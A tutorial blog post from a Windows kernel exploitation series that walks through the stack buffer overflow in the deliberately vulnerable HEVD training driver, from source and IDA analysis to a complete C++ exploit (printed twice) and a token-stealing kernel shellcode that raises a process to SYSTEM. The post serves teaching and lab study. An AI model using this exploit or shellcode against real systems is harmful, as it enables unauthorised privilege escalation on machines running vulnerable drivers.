We’re picking up where we left off in our Windows Kernel Exploitation series. The first two posts covered setting up the environment and the necessary tools; the third post was about token access and shellcode writing. Today’s post is about a stack-based buffer overflow vulnerability found in a vulnerable driver.
- Windows Kernel Exploitation — Setting up the Environment
- Windows Kernel Exploitation 2 — HEVD Installation
- Windows Kernel Exploitation 3 – Token Access and Shellcode Writing
A Look at the Source Code
Before anything else, it’s worth examining the vulnerable code provided by HEVD. Looking at BufferOverflowStack.c:
`> // Bu modül, Yığın (stack) güvenlik açığında arabellek taşmasını gösteren fonksiyonları uygular
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/// Yığın (stack) güvenlik açığında ara bellek taşmasını tetikleme
/// The pointer to user mode buffer
/// Size of the user mode buffer
/// NTSTATUS
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
// Ara belleğin kullanıcı modunda olup olmadığının doğrulanması
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Güvenlik Notu: Burada geliştirici KernelBuffer boyutuna eşit bir boyutu // RtlCopyMemory()/memcpy()'e ilettiği için güvenlidir. Dolayısıyla taşma olmayacaktır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
// Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
/// Buffer Overflow Stack Ioctl Handler
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}`
User Mode and Kernel Mode Communication
On the user mode side: whenever an application runs, Windows creates a process for it. Within that process, Windows allocates a private virtual address space exclusively for that application. Because this address space belongs to only one application, other applications cannot modify it. As a result, if a user-mode application crashes, only that application is affected. Worth noting as well: virtual address spaces created for user-mode applications are limited in size — this is by design, to prevent integrity issues from spreading.
On the kernel mode side: unlike user mode, kernel mode has full access to everything — CPU, memory, drivers, you name it. There is no private virtual address space here; all code runs within a single shared virtual address space in kernel mode. If a kernel-mode application crashes, it can bring down the entire operating system with it. As an additional note, drivers normally execute in kernel mode — though some drivers do run in user mode, and those are referred to as user-mode drivers.
Because device drivers are kernel-mode objects, we can’t access them directly from user mode. Instead, we use what’s called a handle to interact with them. Think of a handle as a reference to an object, pipe, file, etc. The first step in communicating with a driver from user mode is obtaining a handle to the target driver device via a symbolic link. The symbolic link for the driver we’re working with is \HackSysExtremeVulnerableDriver. In Windows, a handle to a kernel-mode driver can be obtained by passing the driver’s symbolic link as the lpFileName argument to the CreateFileA function. The following code block illustrates this:
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
Once we have the driver’s handle, we can use IOCTLs (I/O Control Codes) via IRPs (I/O Request Packets).
There is a Windows API function called DeviceIoControl that allows user-mode applications to communicate with kernel-mode drivers. At a lower level, this function sends a control code to the specified device driver in order to trigger a particular action. IOCTL codes generally route execution to different code routines.
Vulnerability researchers sometimes identify the vulnerable code first, then trace back to find which IOCTL code leads to it. Think of IOCTL as a gateway controller for a program with multiple routines or functions — depending on whether the IOCTL code matches a given routine, it will either allow or deny access to that code path.
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
Looking at the code block above, the first argument of the function is a reference to the handle obtained for the device driver.
These control codes or actions are sent to the specified driver via an IRP (I/O Request Packet). IRPs are data structures that contain all the parameters needed to carry out an action. Below is an IRP structure taken from Microsoft’s documentation:
typedef struct _IRP {
CSHORT Type;
USHORT Size;
PMDL MdlAddress;
ULONG Flags;
union {
struct _IRP *MasterIrp;
__volatile LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
LIST_ENTRY ThreadListEntry;
IO_STATUS_BLOCK IoStatus;
KPROCESSOR_MODE RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;
KIRQL CancelIrql;
CCHAR ApcEnvironment;
UCHAR AllocationFlags;
PIO_STATUS_BLOCK UserIosb;
PKEVENT UserEvent;
union {
struct {
union {
PIO_APC_ROUTINE UserApcRoutine;
PVOID IssuingProcess;
};
PVOID UserApcContext;
} AsynchronousParameters;
LARGE_INTEGER AllocationSize;
} Overlay;
__volatile PDRIVER_CANCEL CancelRoutine;
PVOID UserBuffer;
union {
struct {
union {
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
struct {
PVOID DriverContext[4];
};
};
PETHREAD Thread;
PCHAR AuxiliaryBuffer;
struct {
LIST_ENTRY ListEntry;
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;
ULONG PacketType;
};
};
PFILE_OBJECT OriginalFileObject;
} Overlay;
KAPC Apc;
PVOID CompletionKey;
} Tail;
} IRP;
The IOCTL code is handled through the MdlAddress member by specifying IRP_MJ_DEVICE_CONTROL, which is responsible for routing IOCTL codes. Since this post isn’t specifically about Windows Internals, what we’ve covered so far is enough for our purposes — I plan to publish a dedicated post on that topic another time.
Vulnerability Analysis
At the start of this post I referenced the source code from BufferOverflowStack.c. Let’s now walk through it section by section.
// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}
In the code snippet above, there’s a comment before the code begins: Buffer Overflow Stack Ioctl Handler. As the name implies, this is an IOCTL handler — it accepts an IOCTL code that maps to this specific IOCTL routine.
Looking more closely at another snippet:
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak
RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
RtlCopyMemory is a routine that copies memory to a destination location. As you can see, the buffer is copied directly to the specified location without any validation of the actual size.
Finally, looking at exactly what happens between BufferOverflowStackIoctlHandler() and TriggerStackOverflow():
If the correct IOCTL code is routed to BufferOverflowStackIoctlHandler(), a UserBuffer and a Size parameter become readily available — one accepting user input (UserBuffer), the other accepting the user-supplied buffer size (Size).
Both UserBuffer and Size are then copied directly into TriggerBufferOverflowStack(), which is where the vulnerability actually lives. This function takes data from the user at any size and copies it directly into the KernelBuffer parameter via RtlCopyMemory(). KernelBuffer resides in kernel mode.
By this point in the analysis, it’s clear: there is a stack overflow condition inside HEVD.
Analysis with IDA Pro
In the second post of this series, we used a tool called OSRLoader on our Debuggee VM, along with a file named HEVD.sys. We’ll now open that same file in IDA Pro.
When IDA Pro opens it, glance at the functions listed in the Function window on the left. You’ll spot IrpDeviceIoCtlHandler, the function that handles IRP requests via IOCTLs. Clicking on it reveals a heavily branched graph — this is because execution continues down the graph until it finds a valid IOCTL capable of fulfilling the IRP request.
Scanning the graph, you can clearly spot BufferOverflowStackIoctlHandler. Just above it in the graph, there’s the section that references BufferOverflowStackIoctlHandler().
Looking at that reference point, we know this function will eventually reach BufferOverflowStackIoctlHandler(). Examining the last instruction in that section, we see JA. We know this instruction refers back to the lea eax, ecx-0x222003h instruction above it. If this yields a zero value, we’ll eventually reach BufferOverflowStackIoctlHandler() — which is where our stack overflow condition is triggered. In short: sending 0x222003h as the IOCTL code will route execution into the vulnerable code path.
Following StackOverflowIoctlHandler(), we’ll eventually land in TriggerStackOverflow(). Looking at what happens inside that function:
As shown above, -800 bytes (which is 2048 in decimal) is the length of KernelBuffer. But as we established during source code analysis, the size of the buffer being copied into KernelBuffer is never checked. Supply anything larger than 2048 bytes and the kernel will crash — blue screen.
Shellcode
See: Windows Kernel Exploitation 3 – Token Access and Shellcode Writing
Before writing the exploit, we first need to obtain our shellcode, assemble it, and end up with roughly a 2 KB file. Open that file in HxD, go to Edit → Copy As, choose your target language, and you’ll have the shellcode ready to include in the exploit.
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
Writing the Exploit
Our exploit code (C++) is below:
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"
#define USE_INLINE
#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
LPVOID payload_ptr = NULL;
#ifdef USE_INLINE
printf("Using inline payload\n");
payload_ptr = &TokenStealingPayloadWin7;
#else
printf("Using shellcode payload\n");
//allocate executable memory for the shellcode:
LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
payload_ptr = shellc_ptr;
#endif
if (payload_ptr == NULL) {
printf("[-] Payload cannot be NULL\n");
return FALSE;
}
const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
RtlFillMemory(lpInBuffer, bufSize, 0x41);
DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
*address_field = (DWORD)(payload_ptr);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
lpInBuffer,
EIP_OFFSET + sizeof(DWORD),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
#ifndef USE_INLINE
//release the memory with the shellcode:
if (shellc_ptr) {
VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
shellc_ptr = NULL;
}
#endif
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed to open the device! Is HEVD installed?\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
system("cmd.exe");
close_device(dev);
system("pause");
return 0;
}#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"
#define USE_INLINE
#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
LPVOID payload_ptr = NULL;
#ifdef USE_INLINE
printf("Using inline payload\n");
payload_ptr = &TokenStealingPayloadWin7;
#else
printf("Using shellcode payload\n");
//allocate executable memory for the shellcode:
LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
payload_ptr = shellc_ptr;
#endif
if (payload_ptr == NULL) {
printf("[-] Payload cannot be NULL\n");
return FALSE;
}
const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
RtlFillMemory(lpInBuffer, bufSize, 0x41);
DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
*address_field = (DWORD)(payload_ptr);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
lpInBuffer,
EIP_OFFSET + sizeof(DWORD),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
#ifndef USE_INLINE
//release the memory with the shellcode:
if (shellc_ptr) {
VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
shellc_ptr = NULL;
}
#endif
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed to open the device! Is HEVD installed?\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
system("cmd.exe");
close_device(dev);
system("pause");
return 0;
}
The values obtained while building the shellcode live in a separate file called payload.h:
#include <Windows.h>
/*
original payload by Ashfaq Ansari:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c#L63
modified to preserve the reference counter
*/
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
__declspec(naked) VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov edi, [ecx + TOKEN_OFFSET] ; Get current process token
and edx, 0xFFFFFFF8 ; apply the mask on SYSTEM process token, to remove the referece counter
and edi, 0x7 ; apply the mask on the current process token to preserve the referece counter
add edx, edi ; merge AccessToken of SYSTEM with ReferenceCounter of current process
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
unsigned char kShellcode[] = {
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
};
After building in Visual Studio without errors, the executable will be generated. Running it on the target system will confirm that we have elevated privileges.
As shown in the screenshot above, you’ll also see the corresponding WinDbg output on the Debugger VM.
Thanks for reading. See you in the next post in this series.
References
1- hasherezade
2- MSDN